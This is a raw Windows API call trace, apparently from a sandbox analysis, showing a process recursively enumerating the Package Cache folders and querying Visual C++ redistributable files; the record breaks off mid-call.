[0092.805] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e8f80 [0092.806] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0092.806] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf93c9960, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf93efac0, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf93efac0, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.806] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf93efac0, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf93efac0, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0x6601040, ftLastWriteTime.dwHighDateTime=0x1d2fc28, nFileSizeHigh=0x0, nFileSizeLow=0x2fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="state.rsm", cAlternateFileName="")) returned 1 [0092.806] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xf93c9960, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf93c9960, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xedfa2720, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0xbee30, dwReserved0=0x0, dwReserved1=0x0, cFileName="VC_redist.x86.exe", cAlternateFileName="")) returned 1 [0092.806] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xf93c9960, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf93c9960, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xedfa2720, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0xbee30, dwReserved0=0x0, dwReserved1=0x0, cFileName="VC_redist.x86.exe", cAlternateFileName="")) returned 0 [0092.806] GetLastError () returned 0x12 [0092.806] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1368268) returned 1 [0092.806] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0092.806] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136e358) returned 1 [0092.807] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1368ec8) returned 1 [0092.807] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcbbb880, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcbbb880, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", cAlternateFileName="")) returned 1 [0092.807] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1368ec8 [0092.807] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005" (normalized: "c:\\users\\all users\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcbbb880, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcbbb880, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0092.807] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005" (normalized: "c:\\users\\all users\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0092.807] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0092.807] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x126d560 [0092.808] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x126d560, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x126d560, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0092.808] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x126d560) returned 1 [0092.808] NtClose (Handle=0x174) returned 0x0 [0092.808] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1368ec8) returned 1 [0092.808] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.809] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fcd08 [0092.809] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1368ec8 [0092.809] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.810] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136e358 [0092.810] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e8f80 [0092.810] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcbbb880, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcbbb880, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.810] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcbbb880, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcbbb880, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0092.810] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcbbb880, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcbbb880, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0092.810] GetLastError () returned 0x12 [0092.810] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e8f40 [0092.810] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0092.810] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcbbb880, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcbbb880, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.810] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcbbb880, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcbbb880, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0092.810] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1368268 [0092.811] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fcd08) returned 1 [0092.811] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136f2d0 [0092.811] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages" (normalized: "c:\\users\\all users\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\packages"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcbbb880, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcbbb880, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0092.811] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages" (normalized: "c:\\users\\all users\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\packages"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0092.811] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0092.812] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x126d560 [0092.812] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x126d560, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x126d560, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0092.812] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x126d560) returned 1 [0092.812] NtClose (Handle=0x174) returned 0x0 [0092.812] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136f2d0) returned 1 [0092.812] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fcd08 [0092.813] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.813] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136f2d0 [0092.813] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fcd08) returned 1 [0092.813] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136f6f0 [0092.814] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e8f80 [0092.814] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcbbb880, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcbbb880, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.814] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcc07b40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcc07b40, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="")) returned 1 [0092.814] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcc07b40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcc07b40, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="")) returned 0 [0092.814] GetLastError () returned 0x12 [0092.814] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9200 [0092.814] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0092.814] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcbbb880, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcbbb880, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.814] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcc07b40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcc07b40, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="")) returned 1 [0092.814] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136ff30 [0092.815] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.815] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1370248 [0092.815] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86" (normalized: "c:\\users\\all users\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\packages\\vcruntimeadditional_x86"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcc07b40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcc07b40, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0092.815] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86" (normalized: "c:\\users\\all users\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\packages\\vcruntimeadditional_x86"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0092.815] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0092.815] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x126d560 [0092.816] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x126d560, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x126d560, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0092.816] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x126d560) returned 1 [0092.816] NtClose (Handle=0x174) returned 0x0 [0092.816] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1370248) returned 1 [0092.816] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.817] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fcd08 [0092.817] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1370248 [0092.817] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.817] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1370350 [0092.818] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e8f80 [0092.818] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcc07b40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcc07b40, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.818] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x532ebf00, ftCreationTime.dwHighDateTime=0x1cf3dd3, ftLastAccessTime.dwLowDateTime=0x532ebf00, ftLastAccessTime.dwHighDateTime=0x1cf3dd3, ftLastWriteTime.dwLowDateTime=0x532ebf00, ftLastWriteTime.dwHighDateTime=0x1cf3dd3, nFileSizeHigh=0x0, nFileSizeLow=0x4b4520, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0092.818] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.818] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.818] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.819] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.819] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.819] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1370458 [0092.820] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fcd08) returned 1 [0092.820] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f9418 [0092.820] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1370560 [0092.820] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.820] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f9b3800, ftCreationTime.dwHighDateTime=0x1cf3dd3, ftLastAccessTime.dwLowDateTime=0x4f9b3800, ftLastAccessTime.dwHighDateTime=0x1cf3dd3, ftLastWriteTime.dwLowDateTime=0x4f9b3800, ftLastWriteTime.dwHighDateTime=0x1cf3dd3, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x86.msi", cAlternateFileName="")) returned 1 [0092.821] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.821] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.821] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.822] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.822] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.822] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x180) returned 0x1252f88 [0092.822] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1370458) returned 1 [0092.822] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f9438 [0092.822] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x180) returned 0x1255298 [0092.823] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.823] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f9b3800, ftCreationTime.dwHighDateTime=0x1cf3dd3, ftLastAccessTime.dwLowDateTime=0x4f9b3800, ftLastAccessTime.dwHighDateTime=0x1cf3dd3, ftLastWriteTime.dwLowDateTime=0x4f9b3800, ftLastWriteTime.dwHighDateTime=0x1cf3dd3, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x86.msi", cAlternateFileName="")) returned 0 [0092.823] GetLastError () returned 0x12 [0092.823] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e90c0 [0092.823] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0092.823] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcc07b40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcc07b40, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.823] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x532ebf00, ftCreationTime.dwHighDateTime=0x1cf3dd3, ftLastAccessTime.dwLowDateTime=0x532ebf00, ftLastAccessTime.dwHighDateTime=0x1cf3dd3, ftLastWriteTime.dwLowDateTime=0x532ebf00, ftLastWriteTime.dwHighDateTime=0x1cf3dd3, nFileSizeHigh=0x0, nFileSizeLow=0x4b4520, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0092.823] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f9b3800, ftCreationTime.dwHighDateTime=0x1cf3dd3, ftLastAccessTime.dwLowDateTime=0x4f9b3800, ftLastAccessTime.dwHighDateTime=0x1cf3dd3, ftLastWriteTime.dwLowDateTime=0x4f9b3800, ftLastWriteTime.dwHighDateTime=0x1cf3dd3, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x86.msi", cAlternateFileName="")) returned 1 [0092.823] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f9b3800, ftCreationTime.dwHighDateTime=0x1cf3dd3, ftLastAccessTime.dwLowDateTime=0x4f9b3800, ftLastAccessTime.dwHighDateTime=0x1cf3dd3, ftLastWriteTime.dwLowDateTime=0x4f9b3800, ftLastWriteTime.dwHighDateTime=0x1cf3dd3, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x86.msi", cAlternateFileName="")) returned 0 [0092.823] GetLastError () returned 0x12 [0092.824] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1370350) returned 1 [0092.824] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0092.824] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1252f88) returned 1 [0092.824] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1370248) returned 1 [0092.824] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119ec9c | out: 